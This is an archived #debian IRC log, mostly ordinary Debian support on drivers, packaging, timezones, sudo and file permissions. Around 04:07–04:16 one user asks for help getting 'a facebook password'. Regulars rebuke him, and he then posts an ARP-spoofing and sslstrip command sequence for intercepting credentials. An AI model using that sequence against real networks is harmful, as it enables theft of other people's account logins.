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#debian IRC Logs for 2011-04-28

---Logopened Thu Apr 28 00:00:09 2011
00:00<nubfilter>do I need to do something manually to kill all the partitions and empty the MBR, then try again?
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00:04<nubfilter>ahh i found a few more.. should I use pastebin to prevent spam?
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00:05<nubfilter>i think i will just try again from scratch.
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00:36<GReenTooTH>please could someone tell me the command to set ip forwarding?
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00:54<quietone>aptitude build-dep evolution fails; Unable to satisfy the build-depends: Build-Depends: libgtkhtml3.14-dev ( 3.32.2).
00:55<k-man_>is there some way to connect to a debian install over ssh?
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00:59<sney>k-man_: yep, install openssh-server
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01:02<quietone>Uh, what can I do to get "aptitude build-dep evolution" to work?
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01:04<k-man_>quietone, try getting libgtkhtml3.14-dev and see what it says?
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01:05<quietone>libgtkhtml3.14-dev is already the newest version.
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01:10<k-man_>quietone, looks like there is a version discrepancy
01:11<quietone>how does one fix a version discrepancy?
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01:14*quietone is frustrated
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01:17<chealer>!tell quietone about bat
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01:26<k-man_>i'm trying to point my debian install to this mirror:
01:26<k-man_>I remeber there is a specific directory I need to point it to, but can't remember which one
01:27<k-man_>kop, no that doesn't seem to work
01:28<k-man_>oh, finaly got it
01:28<k-man_>you put in the host name field and /pub/debian in the path field
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01:29<Coburn|eMac>Hey peeps.
01:29<Coburn|eMac>Got a problem
01:29<Coburn|eMac>My Motion M1400 tablet has a intel 825G/GL graphics chipset
01:29<Coburn|eMac>and here's the skinny
01:29<Coburn|eMac>I'm trying to rotate the screen.
01:29<Coburn|eMac>I can rotate it via Xrandr
01:30<Coburn|eMac>which is bliss!
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01:30<Coburn|eMac>When I try to rotate the touchscreen (it's wacom), it crashes Xorg
01:30<Coburn|eMac>for example
01:30<Coburn|eMac>Xrandr -d :0.0 -o left = Works!
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01:31<Coburn|eMac>Xsetwacom -d :0 --set stylus Rotation "CW" = Fail, crash X
01:31<Coburn|eMac>It'll be great if you could help
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01:33<sney>I am lucid enough to tell you that the best thing to do would be to ask again tomorrow
01:33<quietone>ok, here's what I did.
01:33<sney>this channel is most active and useful during business hours in north america and western europe
01:33<sney>I am not useful right now. this is a recording. beep!
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01:36<k-man_>quietone, so you solved it?
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01:38<quietone>k-man_, oops,
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01:40<k-man_>quietone, sorry, can't help you
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01:41<quietone>k-man_, thanks for looking.
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01:47<k-man_>quietone, which version of debian are you using?
01:48<quietone>I am really beginning to wonder about this install - another thing broke. this time I lost my home location in the clock thing
01:48<k-man_>can I use linux-image 2.6-686 in a pentium III?
01:48<k-man_>home location in the clock thing? what does that mean?
01:48<quietone>k-man_, squeeze (about two weeks old and slowly breaking) What have I done?! ;-)
01:49<k-man_>quietone, no idea, sounds odd to me
01:49<quietone>k-man_, clock 2.30.2 on the panel.
01:50<k-man_>oh, I don't really use the gui that much
01:50<quietone>k-man_, good for you!
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02:13<Prathibha>while compiling a debian package I get the error as no orig.tar file found. After creating the orig .tar file also it gives the same error. How to solve this?
02:17<Gerowen>Anybody know anything about the web editor BlueGriffon?
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02:26<dpkg>Please do not ask if anyone can help you, knows 'something' or uses 'some_program'. Instead, ask your real question. (If the real question _was_ "does anyone use 'some_program'?" ask me about <popcon> instead.) See <ask> <ask to ask> <polls> <search> <sicco> <smart questions>.
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02:39<nkadun>hi all, somebody can tell me the alternative SHORT word for "interaction"?
02:39<nkadun>since I'm not good at English
02:41<Gerowen>I couldn't think of any off the top of my head, so I googled it, :p
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02:42<nkadun>um... all of them are so long to me...
02:43<kop>nkadun: You want #debian-offtopic for those sorts of questions.
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02:44<Prathibha>while compiling a debian package I get the error as no orig.tar file found. After creating the orig .tar file also it gives the same error. How to solve this?
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02:48<Gerowen>So I have a question, and I know it's not necessarily "Debian" because I had this issue back in Ubuntu as well.
02:48<Gerowen>What in the world is with Brasero?
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02:49<Gerowen>All it ever does is corrupt discs, or burn blank files. Today I used my Debian computer to update a website, burned the files to CD and took them to work to upload. When I got the CD to work and looked at them prior to upload, I noticed that all of the files, while named correctly, were blank.
02:50<Gerowen>Using Gnomebaker I never had this issue, and now across 3 distributions I've had nothing but headaches making data discs in Brasero.
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02:57<Coburn|eMac>Xfburn is another alternative
02:57<Coburn|eMac>XFCE Burner
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03:33<clock>Hello all
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03:52<tmbt>hi guys
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03:54<clock>hi tmbt
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03:56<classical>hello folks :))
03:56<classical>where can i found the architecture of my cpu ?
03:57<classical>its not in /proc/cpuinfo
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03:57<petemc>classical: it doesnt have it besie model name ?
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03:58<petemc>classical: try uname -a
03:58<tmbt>i've a question about chmod. when a folder is : rwxrw-rw- should be readable and writable also for the group and for others. right ?
03:59<GReeNtooTH>How do enable port forwarding?
04:00<classical>petemc, yes it does it's a pentium 4 but it would be nice if i can view the architecture nm technology etc . . like it's in a cpu-Z program
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04:01<GReeNtooTH>How do enable port forwarding?
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04:03<classical>GReeNtooTH, are you under nat ?
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04:04<GReeNtooTH>no not under NAT
04:04<kooll>GReeNtooTH: what do you want to redirect?
04:06<GReeNtooTH>http traffic from port 80 to 8080
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04:07<kooll>GReeNtooTH: probably something like : iptables -t nat -A PREROUTING -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 8080
04:07<getex>go backtrack papa!!
04:08<GReeNtooTH>thank you very much kooll
04:08<GReeNtooTH>do you need to arpspoof with that command
04:09<kooll>not unless you actually know what it is ;)
04:09<GReeNtooTH>i need a facebook password
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04:10<kooll>ah, right. you don't know what you're trying. I suggest you to go away. or stop.
04:11<ansgar>GReeNtooTH: #debian ist not #i-want-to-be-a-leet-hax0r
04:11<kooll>ansgar: damn, I'm in the wrong place, again ?!? :)
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04:14<GReeNtooTH>echo "1" > /proc/sys/net/ipv4/ip_forward
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04:15<GReeNtooTH>iptables -t nat -A PREROUTING -i wlan0 -p tcp dport 80 -j REDIRECT --to-port 8080
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04:15<GReeNtooTH>arpspoof -i wlan0 -t 192.168.1.X 192.168.1.X
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04:16<GReeNtooTH>ettercap -TqM ARP:REMOTE /192.168.1.X/ /192.168.1.X/ -i wlan0
04:16<GReeNtooTH>sslstrip -a -l 8080
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04:35<mutante>hrmm.. what was it you do to get the full output in the "WHAT" column of the output of "w"
04:35<mutante>the full command a user has eexecuted..without it being cut off
04:36<mutante>something with COLUMNS= ?
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04:45<opalepatrick>Opera 11 is not listed as a possible internet program in preferred appslications - how can I make it default?
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04:52<heidi_>hi all
04:52<heidi_>yesterday I compiled the r8168 driver and installed it, I tried to blacklist the r8169 but the kernel still loads it
04:52<damiano>someone could invite me on php chan ?
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04:53<heidi_>actually it says that r8169 is used by "mii", what is the "mii" module?
04:53<heidi_>please help.
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05:01<heidi_>what is the "mii" module?
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05:04<ayaka>tzy, me
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05:04<ayaka>tzy, 我是中国人,不要说中文
05:04<dpkg>Ruguo nin xihuan dedao zhongwen de banzu, qin yi bu ben fuwu qi sang de #debian-zh pindao, jiaru fangfa wei zai surukuan zhong suru "/join #debian-zh" (bu yao jia yin hao), xiexie nin de hezuo!
05:05<ayaka>tzy, 请到#debian-zh去, /j #debian-zh
05:05<ayaka>输入/j #debian-zh
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05:06<ayaka>I'm sorry, I will speak a little chinese, don't let tzy go please
05:06<ayaka>!stop tzy
05:07<ayaka>tzy, 不要说中文,停止!stop
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05:07<slips>Hi, I'm having a problem with fsck. If i set my hardware clock back in time, fsck fails during boot, saying the last mount time is in the future. However, instead of issuing a warning, it stops, and tells the user to run it manually. Anyway to avoid that?
05:07<tzy>you know
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05:08<ayaka>slips, Have you tried recover mode ?
05:09<nkadun>so many Chinese here?
05:09<slips>that won't do it - the machines will need to handle this on their own without human interaction..
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05:10<slips>so far, the only thing i've gotten to work is to disable the fsck completely in the fstab file.
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05:12<ayaka>nkadun, no
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05:12<ayaka>slips, yes,disable it. then run fsck after boot then enable it
05:13<tzy_>ayaka ,where are you from?
05:13<ayaka>tzy_, china
05:13<slips>ayaka: can i run fsck while the partition is mounted?
05:13<ayaka>tzy_, if you don't want to speak chinese, then come to #debian-zh
05:14<slips>you mean just so it can update it's "last mount time"?
05:14<ayaka>slips, no,you can't unmoute it or use a live cd
05:14<ayaka>slips, yes,update
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05:16<slips>I don't think that will work. It needs to be completely automatic. I want to keep the fsck in case there is a broken filesystem, but I want it to ignore timestamp problems. however, there is only one partition available, so I can't unmount or boot from a cd.
05:17<ayaka>slips, I'm sorry no idea
05:18<ayaka>nkadun, in fact, most of chinese don't know IRC is what
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05:25<prem>opening a openoffice doc file over network in both ssh and samba.,it is not opening
05:25<prem>not even throwing any error.,
05:25<prem>with lenny it used to work
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05:25<prem>but with squeeze it is not working..what can be the reason..?
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05:33<SynrG>prem: so if you make a local copy and open it, it works?
05:33<prem>SynrG, yes ofcourse
05:33<SynrG>maybe some sort of locking issue
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05:33<prem>SynrG, how to get rid of itr
05:33*SynrG shrugs
05:34<Pascal_1>does somebody could help me about bridging problem on vm (libvirt + kvm)? i paste my question here, because it's little long
05:35<SynrG>prem: i don't know how file locks work on sshfs / cifs
05:35<SynrG>but that gives you something you might search for, anyway
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05:36<prem>i thought i may b missing some package ..isnt the case..?
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05:37<SynrG>i doubt it
05:37<SynrG>no error to stdout/stderr?
05:37<prem>no clues
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05:38<prem>each time i have to copy., edit and copy back to server SynrG which is real tedious
05:38<SynrG>it's possible the fault lies in your remote filesystems. they may neither of them support file locks properly
05:38<SynrG>gotta head out to work. good luck
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05:41<lovee__To_hAXK>heya, gotta question for BT4 Somone?
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05:59<lorenzo>Hi, I have a barcode reader. Debian seen this device as HID and it's work! I'd like use the input data with my application (Done and it's work), but I still have a problem, the input data are written in the stdin too. How I can remove this last feature? I have read about ioctl(fd, EVIOCGRAB, 0), but still not work... Idea?
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06:00<heidi_>I need help with the damn r8168 ,please!
06:00<heidi_>module is loaded, but DHCP not working
06:00<heidi_>I have tried many things already
06:01<heidi_>now I have the r8168 driver from realtek
06:01<heidi_>r8169 is not loading anymore finaly, dmesg is ok, eth0 is "ready"
06:01<heidi_>but DHCP dpes not work...
06:01<mobildorn>Could be a card that need non-free firmware in the kernel.
06:02<mobildorn>Have you installed any firmware package?
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06:03<mobildorn>Hm. Does the card work with a static address?
06:03<heidi_>this firmware-realtek
06:04<heidi_>let me try that, but I don+t know
06:04<heidi_>becausde this ISP is new to me.
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06:04<heidi_>and Ithink it will only work with dhcp
06:05<heidi_>ethtool seems fine
06:06<mobildorn>No internal network at your place?
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06:06<heidi_>connected straight to the modem
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06:07<mobildorn>A cable modem, then?
06:07<mumble>what`s the alternative to flash player i can get ?
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06:08<mobildorn>Is there another machine you could connect the card to?
06:08<Torsten_W>mumble, gnash?
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06:08<mumble>ok thanks
06:08<heidi_>this is a laptop, dear mobildorn
06:08<mobildorn>Just to find out if it's at least sending bits in and out?
06:09<mobildorn>You should not remove the card, just plug the ethernet cable to another computer.
06:09<mobildorn>Or switch.
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06:09<heidi_>it works
06:09<heidi_>on my other laptop it works fine.
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06:09<mumble>Building dependency tree
06:09<mumble>Reading state information... Done
06:09<mumble>gnash is already the newest version.
06:10<mobildorn>Sounds like the firmware is working or unnecessary then.
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06:10<Torsten_W>mumble, maybe you want mozilla-plugin-gnash
06:10<heidi_>what do you mean?
06:10<mumble>and i still cant see .. let`s say a flash player
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06:11<mumble>i`m using iceweasel as browser
06:11<Torsten_W>mumble, and?
06:11<Torsten_W>iceweasesel is from mozilla
06:11<mobildorn>If the same card works in your other laptop with a similar setup, it should work in the problem laptop, too.
06:12<mumble>ok got the mozilla-plugin-gnash
06:12<mumble>still not working
06:12<mumble>i see a white square instead the flash player
06:12<Torsten_W>does about:plugins in iceweasel show this plugin?
06:12<Torsten_W>and yes, gnash is far from ready
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06:13<mumble>Torsten_W, - any alternative ?
06:14<Torsten_W>there is no real alternative
06:14<Torsten_W>if you need it only for youtube, use chromium with html5
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06:17<heidi_>r8168! HELP!
06:17<heidi_>has anybody had this issue? oh... so desperated.
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06:23<wh1sk3yj4ck>I need to download and install Debian 5 to check wheter the package PHP5 was compiled with a ipv6 enabled option
06:24<wh1sk3yj4ck>but I'm having such a hard time to find an image it's insane
06:24<themill>wh1sk3yj4ck: there's a link on the front page of
06:24<themill>(several actually, but there are two very prominent ones at the top of the page)
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06:25<mobildorn>wh1sk3yj4ck: Why not just download the source package from that release?
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06:25<wh1sk3yj4ck>will that show the compilationflags used?
06:26<dpkg>debian/rules is the makefile used when building a .deb from source, edit it to change compilation options. Be aware that some packages use sophisticated build systems that should be documented in debian/README.source. Also remember to make a new entry in debian/changelog with "~yourname" (for a backport) or "+yourname" (for a recompile) added to the version number. See also <makefile>, <hold>, <package recompile>, <source>.
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06:26<wh1sk3yj4ck>thank you
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06:27<mobildorn>You can get the source via 'apt-get source <packagename>' after adding a deb-src line for Debian 5 to your sources.list.
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06:27<wh1sk3yj4ck>I found the source on
06:28<mobildorn>That's another way. Should work, but don't forget the diff.gz.
06:28<wh1sk3yj4ck>hm, what's that for?
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06:29<mobildorn>All Debian changes are in there.
06:29<wh1sk3yj4ck>ok, thanks
06:29<mobildorn>You unpack the source and use "patch" to apply the diff.
06:29<mobildorn>Or you do it via the apt-get way and apt does it for you.
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06:30<wh1sk3yj4ck>bah, I'll do it the apt way then :P
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07:21<ottoshmidt>anyone has gnucash 2.4.5 installed?
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07:23<lorenzo>ottoshmidt: I have the 2.4.4
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07:23<ottoshmidt>tried to update to 2.4.5 from unstable?
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07:46<Anaa>eiii xd
07:46<Guest3494>eiii gentee (L)
07:46<Migue>que pasa
07:46<Anaa>aquii xd
07:46<Anaa>el barrocoo xd
07:47<Guest3494>vayaa mierdaa de
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07:47<Anaa>hoolaaa xd lidiaaa xd
07:48<Guest3494>lidiiiaaa :)
07:48<Anaa>cual es el barroco o el barroco musical?
07:48<Guest3494>yo me quiero cambia el nombree ana como ees??
07:48<Guest3494>holaa shu migue maloteeh :))
07:48<Anaa>hazloo de nuevoo
07:49<Guest3494>jaja ANAAAAAAAA
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07:49<Guest3494>como se cambia el nombre??
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07:50<Anaa>janc quien es?
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07:53<Anaa>eii xd quien te lo a dixo? andrea?
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08:41<dpkg>Test failed.
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08:53<dpkg>somebody said dpkg was the program used by Debian to install and remove packages, "man dpkg". Also ask me about <reference>. The main info bot in #debian is also called dpkg; ask me about <dpkgbot>.
08:53<dpkg>Please visit to learn how to effectively search the factoids database for FAQ, and not flood in the channel with !tell <who> about <what>. Also ask me about <msg the bot>. We ask that you learn to search for yourself first, unless it is a specific problem. Many questions are asked repeatedly, and the factoid database can be of great help to you. Ask me about <search dpkg>.
08:54<dpkg>Java is a cross-platform C++-like OO language. Sun, now Oracle, has released most of its Java implementation under the GPL as <openjdk>. There are other implementations packaged for Debian, Sun's JRE/JDK is in <non-free> (for i386, amd64 only). Ask me about <install java>. See also <java alternatives>, <icedtea>, <java ipv6>. ##java on
08:54<dpkg>hmm... debian is See
08:55<dpkg>Ubuntu is based on Debian, but it is not Debian, and it is unlikely to live up to Debian's standards (see <Debian policy>). Only Debian is supported on #debian. Use #ubuntu ( instead. Even if the channel happens to be less helpful, support for distributions other than Debian is offtopic on #debian. See also <based on debian>.
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08:55<miklcct>!dpkg based on debian
08:55<dpkg>Your distribution may be based on and have software in common with Debian, but it is not Debian. We don't know what changes were made by your distribution and it probably falls short of Debian's standards. #debian only supports Debian; you should respect our choice to volunteer here to help Debian users. Support other distributions is off-topic on #debian, even if your own distro's channel is clueless or non-existent.
08:55<Ganneff>stop playing with the bot
08:55<miklcct>!dpkg c++
08:55<Ganneff>use /msg if you want more with it
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08:56<fosser_josh>i install debian 6 in virtual box and created one user while installing. when i say sudo su it gives error user not in sudoers file
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08:56<@Ganneff>then add it to the sudoers
08:57<SynrG>there's some preseed option for that, i think
08:57<dpkg>From squeeze onwards, you can grant yourself (minimally secure) root permissions for <sudo> by adding yourself to the "sudo" group: "adduser your_username sudo". For lenny, you can use <visudo> to add 'your_username ALL=(ALL) ALL'. See the man pages indicated by "apropos sudo" for more information.
08:57<SynrG>too late to use it now, but, just saying
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08:58<fosser_josh>is there any option while installing to grant root permission to user
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08:58<SynrG>boot the installer with passwd/root-login=false
08:59<SynrG>as per the doc above
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09:00<SynrG>i.e. at boot prompt, edit the install target and append this option
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09:02<fosser_josh>ifconfig command also not working for this user
09:02<SynrG>desscribe "not working"
09:02<fosser_josh>it saying command not found
09:02<SynrG>you won't find /usr/sbin in the user's path by default
09:03<SynrG>nor /sbin
09:03<SynrG>actually, it's the latter you need
09:03<SynrG>so either edit your PATH to include it, or else explicitly specify: /sbin/ifconfig
09:03<fosser_josh>why it is so, in lenny there was no such problem u can create user while instaling and that user granted root permission
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09:04<Aleric>The playback quality of vlc is dropped below unacceptable :(
09:04<SynrG>fosser_josh: i don't believe that is correct
09:04<Aleric>If I compare it with say mpg123, playing some mp3 on my disk - OMG... I just can't use vlc anymore :/
09:04<fosser_josh>SynrG: was this problem also with lenny? i dont think so?
09:05*Aleric how someone can fuck up digital music in this way :/
09:05<SynrG>problem? it's not a problem.
09:05<@Ganneff>fosser_josh: no, the user was never granted root
09:05<SynrG>you're treating it like a bug.
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09:05<SynrG>the bug is in your expectations
09:05<SynrG>there is a documented way to achieve what you want. just use it.
09:05<fosser_josh>SynrG: k
09:06<SynrG>you may be confusing us with some other distro which begins and ends with u
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09:13<Seppoz>hello, how do i set the timezone?
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09:13<Seppoz>from terminal
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09:13<Seppoz>if i run dpkg-reconfigure tzdata i get a menue
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09:13<Seppoz>but i wanna just set it
09:14<Seppoz>without the selection
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09:14<mobildorn>I suppose you could pre-seed the debconf database and set the debconf frontend to noninteractive.
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09:15<Seppoz>how would i do that?
09:15<mobildorn>You echo the following values into debconf-set-selections:
09:15<munga>hello. I use gnome + awsome + zack's gnome applet. does this combo work with the gnome3 updates in sid ?
09:15<mobildorn>tzdata tzdata/Areas select Europe
09:16<mobildorn>tzdata tzdata/Zones/Europe select Berlin
09:16<mobildorn>(as far as you want to set Europe/Berlin)
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09:17<mobildorn>And "DEBIAN_FRONTEND=noninteractive dpkg-reconfigure tzdata" should do the trink then, I think.
09:18<Seppoz>ok lets try
09:18<Seppoz>what about: # Update the timezone
09:18<Seppoz>write $AREA/$ZONE to /etc/timezone
09:18<Seppoz># Then copy timezone file as localtime
09:18<Seppoz>exec(sudo rm -f /etc/localtime && sudo cp -f /usr/share/zoneinfo/$AREA/$ZONE/ etc/localtime)
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09:19<abcd82>Seppoz: possible you can cp correct file from /usr/share/zoneinfo/ to /etc/timezone
09:19<damiano>hey guys
09:19<damiano>hello everyone
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09:19<mobildorn>abcd82: It is possible, but you should use /etc/localtime as target.
09:20<abcd82>right, my mistake
09:20<mobildorn>/etc/timezone holds a textual representation like 'Europe/Berlin' here.
09:20<damiano>is there a package that block ad user inside a directry? i mean ......if i have an user user1 --> /var/test/ i don't want that user see other directory/files below /var/test/ or other like /etc/ /usr etc etc
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09:20<damiano>is it possible?
09:20<abcd82>oder distros use symlink, debian copies
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09:22<mobildorn>damiano: It is not possible with simple file permission-.
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09:22<damiano>mobildorn yes i know...i asked if there is a package that do it
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09:23<mobildorn>But you could have a look on extended file permissions or search for 'jail'
09:23<mobildorn>Most packages will simply create an chroot for the user.
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09:24<thewanderer1>damiano: grsecurity or TOMOYO
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09:26<damiano>thank you
09:26<thewanderer1>it can be done with ACL, too... just another way :P
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09:26<damiano>hmmm as far as i know i can set the permission to a file/directy with ACL but i can JAIL the user to a specific dir
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09:27<thewanderer1>you can chroot a user to a specific dir - there are ways to do that... but what was your goal, again?
09:27<mobildorn>BTW: It's normally not a good idea to deny users from reading /etc.
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09:27<thewanderer1>yeah, true that
09:27<mobildorn>Most shells will source some stuff there et al.
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09:28<damiano>i have some vhosts
09:28<damiano>with my lighttpd
09:28<damiano>and i have to block the user:group of these vhost to read each other
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09:29<thewanderer1>they can manage permissions themselves
09:29<mobildorn>In that case, just remove the 'others' permissions from the "homes"?
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09:34<damiano>no no
09:35<damiano>one moment
09:35<damiano>i can do that
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09:35<damiano>if i have some other dir on the server
09:35<damiano>they can read
09:35<damiano>this directory has 755
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09:36<damiano>so if someone do file_get_contents("/etc/lighttpd")
09:36<damiano>they can read it
09:36<damiano>so is really NOT sure
09:36<sander_m>Hi. I have a question about backports. I installed iceweasel-4.0 from It installed fine and dragged in a few dependencies. But most of my browser extensions stopped working so I would like to revert back to the standard Squeeze packages. How do I do that?
09:36<mobildorn>Where's the problem?
09:36<damiano>where is the problem?
09:36<damiano>are you tell it to me?
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09:36<damiano>*ask it to me
09:36<mobildorn>damiano: Yes. Do you keep passwords in /etc/lighttpd or what?
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09:37<damiano>modildorn is an example...they cann see all the files/durectory on the system
09:37<damiano>i don't want that
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09:37<damiano>if a dir/file is redable
09:38<damiano>they can see all the things
09:38<damiano>do you understand?
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09:38<mobildorn>Not really. Why should it be a problem that they can look around?
09:39<mobildorn>Every regular system user could do that, too.
09:39<damiano>mobildorn: they are users created for a website
09:39<damiano>not for other activities
09:39<damiano>they have to upload their page .html .php
09:39<damiano>and stop
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09:43<mobildorn>If you think this is necessary, you will need ACLs.
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09:44<mobildorn>Else you'll have to create a jail with a web server for every user.
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09:45<damiano>mobildorn the question is.... can i manage it with ACL OR i have to jail the dir?
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09:47<mobildorn>I believe it's possible via ACL, but will be a lot of work.
09:47<mobildorn>How many users do you have?
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09:50<damiano>around 10 +-
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09:51<mobildorn>10 chroots could be acceptable. The problem is: You'll have to duplicate all the libs etc. which can get quite large.
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09:55<damiano>mobildorn are there other manners?
09:55<damiano>i mean...i only can chroot this?
09:55<damiano>are tehre any other pachage that joil it automaticaly without do it manually
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09:56<mobildorn>You could, but I suggest not to do it. Better try ACLs.
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09:56<mobildorn>As far as I know, there are some packages helping you to build and update jails, but nothing which integrates into webservers.
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09:58<damiano>ok but as i told you before as far as i know ACL can permeit to set permission to file/dir....i cant say "BLOCK ALL THE DIRs/FILEs EXCEPT /var/user1"
09:58<damiano>i don't think is possible
09:59<mobildorn>You'll have to block access to all top level dirs which the user should not access, I think.
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10:08<stone>why nobody is talking
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10:08<munga>silence is gold sometimes :)
10:08<stone>..... so many people , so much silence
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10:09<Torsten_W>stone, because no one has a problem?
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10:09<mobildorn>I have a lot of problems, especially with debconf.
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10:09<mobildorn>But they tend to be easily solvable by reading the documentation again.
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10:11<stone>this is so called IRC?
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10:14<ircleuser>am I connected to and in #debian chatroom?
10:14<stone>hello ircleuser
10:14<ircleuser>yeah didn't know how to change that nick name
10:14<mobildorn>Try /nick <new name>
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10:15<otacon>it has been 10 years since I used irc
10:15<stone>this is my first time to use irc
10:16<stone>and the first day....
10:16<otacon>Would I be able to ask an apache server question here or is there a specific chatroom for that?
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10:19<daemonkeeper>You can. If it is Debian related anyway. For tricky questions #httpd on Freenode may be better
10:19*otacon I have an apache server with vhosts on it. When I create a new vhost and try to go to it I get a 403 error. but if I go to it works. I am trying to develope a list of possible causes so I can troubleshoot the issue. Help would be appreciated. My current list is as follows:
10:20<otacon>1. chmodding is wrong
10:20<otacon>2.wrong group to access
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10:20<otacon>3. wrong user access
10:20<otacon>but I would assume that if those were the issue then I would not be able to get to index.html
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10:23<mobildorn>Any hints in error.log?
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10:25<tuhin>how to install a .deb file which's version number is not a digit?
10:25<tuhin>like >>
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10:26<opalepatrick>Been trying to sort out very bad sound problems, but giving up and returning each time. Get distorted sound on parts of podcasts, for instance. Also overall sound is a little low. I feel like it could be a codec thing but tbh I need to follow a path. Is there any decent Debian troubleshooter?
10:27<opalepatrick>I had exactly the same problem in a previous incarnation with Mandriva 2010.2
10:28<opalepatrick>The kernel was a lter one than the one Debian uses, but the constant is the nvidia audio on the grpahics card and built into the motherboard (I believe)
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10:29<mobildorn>tuhin: I'm not sure if I understand your question. Have you tried 'dpkg -i file.deb'?
10:29<tuhin>gives error
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10:30<tuhin>dpkg: error processing openra_release.20110320_all.deb (--install):
10:30<dpkg>tuhin: That isn't an error, post the whole output to a pastebin (/msg dpkg pastebin).
10:30<tuhin>parsing file '/var/lib/dpkg/' near line 2 package 'openra':
10:30<tuhin> error in Version string 'release.20110320': version number does not start with digit
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10:31<tuhin>thats the error^^
10:32<abcd82>tuhin: extract package with dpkg -x, edit DEBIAN/control, repack with dpkg -b, man dpkg for details
10:32<mobildorn>Fascinating. I thought the package creation scripts would deny the request to build such packages with version numbers like this.
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10:33<mobildorn>And have a look at the changelog file.
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10:50<locsmif>Hi all. This page crashes my iceweasel:
10:50<locsmif>Can anybody reproduce?
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10:51<locsmif>I use flashblock
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10:52<locsmif>(rawstory is a well known news site)
10:54<locsmif>Hmmm, if I try to view the video on Vimeo, same thing
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10:55<locsmif>Crashes also in safe mode
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10:55<locsmif>I thought Flash crap was run in a frikkin' extra sandbox these days?
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10:56<sney>locsmif: see if it crashes in a different browser?
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10:56<locsmif>I see nothing but a black square in Konqueror
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10:57<locsmif>And Flash does work in Konqueror:
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10:58<locsmif>So evidently, flash plugin nonfree is having teh hiccups again
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10:58<locsmif>I wonder how those poor sods debug that
10:59<locsmif>Where do iceweasel devs hangout?
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11:00<sako>hey guys, is there some good resources online for building your own package form a .dsc and .deb file?
11:01<sako>i am running debian squeeze, i'd like to re-build nginx from the ubuntu ppa
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11:02<mobildorn>I suggest to look for some pbuilder howto.
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11:02<mobildorn>pbuilder will do the dependency stuff for you, so it should be fairly simple.
11:03<babilen>sako: Why don't you build a Debian package?
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11:03<sako>babilen: i manage more than one system that needs this, it will be much cleaner to have a package so all of them get the exact same version, etc
11:04<sako>oh sorry
11:04<sako>i misread the question
11:04<babilen>sako: I meant: Why do you fork the Ubuntu PPA packages and not one from Debian?
11:05<sako>babilen: i was thinking since the ppa is updated regularly, it will be easier to track that one and re-build for squeeze
11:05<babilen>sako: I would just backport Debian packages.
11:06<sako>ill prob end up just grabbing the source from sid and doing an apt-get --build-source
11:06<dpkg>First, check for a backport on <debian-backports>. If unavailable: 1) Add ONLY a <deb-src> line for sid to /etc/apt/sources.list 2) enable debian-backports (see <bdo>) 3) aptitude update; aptitude install build-essential; aptitude build-dep packagename; apt-get -b source packagename; 4) install the resultant debs. To change compilation options, see <package recompile>; for versions newer than sid see <uupdate>.
11:06<babilen>sako: But yeah, essentially what you said :)
11:07<sako>babilen: perfect and this way described.. it will ensure no binary packages are pulled in and updated when i do a build-dep packagename right?
11:07<sako>i dont want to upgrade say my glibc from sid and render my machine unstable..
11:07<sako>i think glibc is a dep on nginx
11:07<babilen>yes -- note that you might have to backport dependencies too if they are not available in squeeze
11:07<tuhin>how to install a .deb file which's version number is not a digit? like >>
11:08<babilen>(in the version needed)
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11:08<sako>babilen: how do i find the version needed?
11:08<locsmif>tuhin: what kind of error do you get?
11:08<tuhin>parsing file '/var/lib/dpkg/' near line 2 package 'openra': error in Version string 'release.20110320': version number does not start with digit
11:08<themill>tuhin: you hit the people who made the deb over the head with a copy of the debian policy until they start making decent packages
11:08<locsmif>themill: yeah, lol
11:09<themill>tuhin: which version of dpkg is this with?
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11:09<tuhin>don't know
11:09<locsmif>dpkg --version
11:09<dpkg>locsmif: I give up, what is it?
11:09<tuhin>i m new
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11:09<locsmif>dpkg: botsnack
11:10<tuhin>ok it happedn in desktop which is off right now
11:10<tuhin>there is a power cut and i m from Laptop right now
11:10<babilen>sako: Just follow the instructions by dpkg above. If a dependency can not be satisfied dpkg will complain -- "aptitude -f install" will install packages that are needed to fulfill a dependency if the version is available in squeeze. If you need a newer version you have to backport the newer version too -- rinse and repeat
11:10<babilen>sako: Can't tell you off-hand how easy it is to backport nginx from sid to squeeze
11:11<babilen>sako: Some dependencies might already be available in squeeze-backports -- The easiest way would be to just use the version (0.7.67-3) in squeeze
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11:12<locsmif>babilen: unless of course you statically compile the whole thang
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11:13<themill>that wouldn't solve versioned dependencies
11:13<locsmif>unless you fiddle with the source pkg
11:14<locsmif>personally, I'd rather not have a version mix
11:14<locsmif>reminds me of Knoppix
11:14<themill>static compilation would only help if the API had not changed but the ABI had in some way. That's not a particularly common case.
11:15<babilen>locsmif: If nginx 1.0 needs libfoobar version 4.5 it needs that version, no amount of fiddling with the packages will change that.
11:15<locsmif>the situation is broken in itself from the outset, imhp
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11:16<locsmif>themill: I suppose you're almost always right with packages who travel with close lib companions
11:17<locsmif>Debian beautiful but complex dependency system could quickly turn an effort to install a newer package into something Herculaian
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11:19<locsmif>themill: do you happen to know where the iceweasel boys hang out? I'd rather not go to
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11:19<themill>no idea
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11:21<locsmif>babilen: what I was decribing, was statically compiling nginx against libfoobar version 4.5, reflecting that in the source package, eliminating the need to install a new library on the target system
11:21<locsmif>Crazy, but undoable?
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11:23<gfroxel>is anyone here familiar with the latex plugin in abiword?
11:23<dpkg>Please do not ask if anyone can help you, knows 'something' or uses 'some_program'. Instead, ask your real question. (If the real question _was_ "does anyone use 'some_program'?" ask me about <popcon> instead.) See <ask> <ask to ask> <polls> <search> <sicco> <smart questions>.
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11:25*Aleric is writing a complete set of commandline utilities to $%#$$@#$ be able to listen to good quality streaming music again :/
11:26<gfroxel>ok, im having trouble with formatting matricies, the < and > characters and \hbar when using latex within abiword. im running 2.8 and google says the bug with \hbar was fixed after 2.7. whats going on?
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11:44<locsmif>#latex is pretty full channel at Freenode
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12:14<help2011>hi everyone, I'm in need for some help regarding few issues on a sony vaio
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12:15<babilen>help2011: Just ask -- Our crystal balls are not *that* powerful :)
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12:18<help2011>Hi babilen, I have a sony vaio VPCEB3S1E and I'm not able to get the speaker working, they're mute, I tried maxing every volume setting and tried different configuration in the alsa mixer but nothing works, I only get a REALLY weak sound with headphones plugged in
12:19<babilen>that sounds familiar ... have you been here before?
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12:19<babilen>ah, ok :)
12:19<help2011>well at least I'm not the only one with that issue :D
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12:21<babilen>IIRC we weren't able to figure out the problem last time though
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12:22<babilen>help2011: "lspci -nn|grep -i audio" gives you what?
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12:22<help2011>00:1b.0 Audio device [0403]: Intel Corporation 5 Series/3400 Series Chipset High Definition Audio [8086:3b56] (rev 05)
